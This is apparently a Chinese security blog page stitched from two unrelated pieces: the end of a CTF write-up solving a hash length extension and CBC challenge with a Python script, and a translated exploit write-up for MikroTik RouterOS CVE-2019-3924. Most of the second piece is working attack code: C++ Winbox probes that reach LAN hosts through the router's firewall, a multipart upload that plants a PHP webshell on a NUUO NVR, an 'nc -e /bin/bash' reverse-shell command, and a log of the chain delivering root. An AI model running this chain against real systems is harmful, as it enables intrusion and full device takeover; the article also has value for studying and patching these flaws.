    pp = pp[-16:]
    for x in pp:
        if x in string.printable:
            flag = True
            break
s = decrypt(cipher2)
name ="\x01"*16
sig1 = register(name)[-32:]
tmp = hashpumpy.hashpump(sig1, '01010101010101010101010101010101'.decode('hex'), s[48:], 16)
sig2=tmp[0]
context.log_level="debug"
con.sendlineafter("Login\n","2")
payload = cipher2.encode("hex")+sig2
con.sendlineafter("token: ",payload)
con.interactive()

运行得到flag:

hgame{hard_cryptooooo!}

图片5.png

后记

算是Hash Length Extension Attacks进阶版的题目吧,CBC那一块还算比较简单,前后思考了很久,学到不少知识。

设计缺陷

在针对MikroTik进行漏洞研究时,我在RouterOS中发现了一个未公开的漏洞,该漏洞的编号为CVE-2019-3924。该漏洞允许远程攻击者在未经身份验证的情况下通过路由器的Winbox端口代理特制的TCP和UDP请求。该代理请求甚至可以绕过路由器的防火墙,到达LAN主机。

这个代理行为看上去很简洁,但对我而言,最有趣的一个地方是WAN上的攻击者可以向局域网中经过防火墙保护的主机进行攻击。本文将主要介绍这种攻击方法。如果各位读者对复杂的概念验证过程比较感兴趣,建议首先观看下面的视频:

https://youtu.be/CxyOtsNVgFg

部署

为了证明这个漏洞,我首先需要选择一个攻击的目标。我没有选择太远的目标,因为我面前的办公桌上就有一台NUUO NVRMini2。这台NVR非常适合作为我们漏洞分析的示例,设备应该隐藏在防火墙后面,并且应该与网络上的其他设备相分离。

1.png

目前,我已经完成了测试部署。现在,NVRMini2位于MikroTik hAP路由器后面,启用了NAT和防火墙。

对于IP地址为192.168.1.7的攻击者来说,NVRMini2应该是安全的:

2.png

在部署过程中,还有一个重要的注意事项,就是我在路由器的防火墙中打开了8291端口,以允许从WAN进行Winbox访问。默认情况下,Winbox仅通过LAN在MikroTik hAP上提供。不要担心,我只是模拟真实世界中的配置。

现在,攻击者192.168.1.7理论上应该无法与10.0.0.252(目标主机)进行通信,防火墙应该会阻止这样的通信尝试。那么,我们就一起来看看,攻击者如何能绕过这种限制。

探索:如何绕过防火墙

CVE-2019-3924漏洞的根本原因在于路由器未对网络发现探针强制执行身份验证。在正常情况下,The Dude通过路由器进行身份验证,并通过Winbox端口上传探针。但是,其中一个处理探针(代理程序)的二进制文件无法验证远程用户是否已经通过了身份验证。

探针是一个相当简单的概念。探针是一组变量,用于告知路由器如何与指定端口上的主机通信。该探针最多支持三个请求和响应。响应与提供的正则表达式匹配。以下是内置的HTTP探针。

HTTP探针向80端口发送HEAD请求,并检查响应是否以“HTTP/1”开头。

3.png

为了绕开防火墙,并从192.168.1.7与NVRMini2通信,攻击者只需要为路由器提供连接到10.0.0.252:80的探针。有一个显而易见的问题,就是“如何来确定LAN主机是不是NVRMini2?”

NVRMini2和各种OEM都具有非常相似的登录页面标题。

4.png

使用title标签,我们可以构建一个检测NVRMini2的探针。下面的内容摘自我在GitHub上的概念证明。我再次使用了我的WinboxMessage实现。

bool find_nvrmini2(Winbox_Session& session,
                   std::string& p_address,
                   boost::uint32_t p_converted_address,
                   boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
                      "\r\nAccept:*/*\r\n\r\n");
    msg.add_string(8, "Network Video Recorder Login</title>");
    msg.add_u32(3, p_converted_address); // ip address
    msg.add_u32(4, p_converted_port); // port
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

大家可以看到,我构建了一个发送HTTP GET请求的探针,并在响应中查找“Network Video Recorder Login</title>”。路由器192.168.1.70将接收此探针,并将其发送到我再msg.add_u32(3)和msg.add_u32(4)中定义的主机。在我们的示例中,它分别对应10.0.0.252和80。这个逻辑,绕过了正常的防火墙规则。

下图展示了攻击者(192.168.1.7)使用探针针对10.0.0.254(Ubuntu 18.04)和10.0.0.252(NVRMini2)的探测过程。我们可以看到,攻击者甚至无法ping这些设备。但是,通过使用路由器的Winbox接口,攻击者可以访问LAN主机。

5.png

在理论上“无法访问”的局域网上,我们已经可以发现NVRMini2。但是,我们还希望能更进一步,我们希望能获得对该网络的完全访问权限。接下来,让我们寻找一种方法来利用NVRMini2。

制作漏洞利用EXP

使用探针的过程中,有一个最大的问题,就是尺寸的限制。请求和响应的正则表达式不能超过220个字节的组合。这意味着,任何漏洞利用都必须要简洁。我的NVRMini2栈缓冲区溢出是简洁的,只需要170个字节就可以溢出Cookie缓冲区。这没有给我们留下太多的空间,但针对CVE-2018-11523实现漏洞利用看起来就已经足够了。

CVE-2018-11523漏洞利用代码:

6.png

CVE-2018-11523是未经身份验证的文件上传漏洞。攻击者可以利用该漏洞来上传PHP WebShell。在Exploit-db上的概念证明是461个字符,这个字符的数量太多了。但是,凭借我们的一点点智慧,可以将大小减到212个字符。

POST /upload.php HTTP/1.1
Host:a
Content-Type:multipart/form-data;boundary=a
Content-Length:96
 
--a
Content-Disposition:form-data;name=userfile;filename=a.php
 
<?php system($_GET['a']);?>
--a

该漏洞利用a.php创建了一个相当精简的PHP WebShell。如果要将其转换为探针的请求,这个过程是相当简单的。

bool upload_webshell(Winbox_Session& session,
                     boost::uint32_t p_converted_address,
                     boost::uint32_t p_converted_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

通过路由器,将上述探针请求发送到10.0.0.252:80,这样就可以创建一个基本的PHP WebShell。

制作反向Shell

此时,您应该可以使用WebShell开始盲目地在NVR上执行命令。但无法看到响应,并且始终要考虑到探针的大小限制,这两个问题比较烦人。因此,我们提出了一个更加理想的解决方案,也就是建立一个到192.168.1.7(攻击者的盒子)的反向Shell。

现在,在我看来,嵌入式系统并没有理由让nc使用-e选项。然而,我们不能按照常规的思路来做一些事情,NVRMini2也不例外。实际上,nc –e仍然是我们可以考虑的一个选择。

bool execute_reverse_shell(Winbox_Session& session,
                           boost::uint32_t p_converted_address,
                           boost::uint32_t p_converted_port,
                           std::string& p_reverse_ip,
                           std::string& p_reverse_port)
{
    WinboxMessage msg;
    msg.set_to(104);
    msg.set_command(1);
    msg.set_request_id(1);
    msg.set_reply_expected(true);
    msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
    msg.add_string(8, "200 OK");
    msg.add_u32(3, p_converted_address);
    msg.add_u32(4, p_converted_port);
 
    session.send(msg);
    msg.reset();
 
    if (!session.receive(msg))
    {
        std::cerr << "Error receiving a response." << std::endl;
        return false;
    }
 
    if (msg.has_error())
    {
        std::cerr << msg.get_error_string() << std::endl;
        return false;
    }
 
    return msg.get_boolean(0xd);
}

上面的探针通过a.php上的WebShell执行命令“nc 192.168.1.7 1270 –e /bin/bash”。nc命令将使用Root Shell连接回攻击者的盒子。

组合利用

接下来,我们将上面的三个部分合并为一个漏洞的组合利用。该漏洞利用过程会连接到路由器,将发送探针到LAN目标,上传WebShell,并执行反向Shell返回WAN主机。

[email protected]:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
[email protected]:~/routeros/poc/cve_2019_3924/build$

监听器将按照预期获取到Root Shell。

7.png

总结

我在撰写博客文章以回应Zerodium的推文时发现了这个漏洞。实际上,我并没有积极研究MikroTik的漏洞,只是想为BSidesDublin做好准备。我非常好奇,现在有哪些研究人员正在针对MikroTik进行漏洞研究?他们是否已经将发现的漏洞不求回报地告知MikroTik,还是已经将这些漏洞卖给了Zerodium?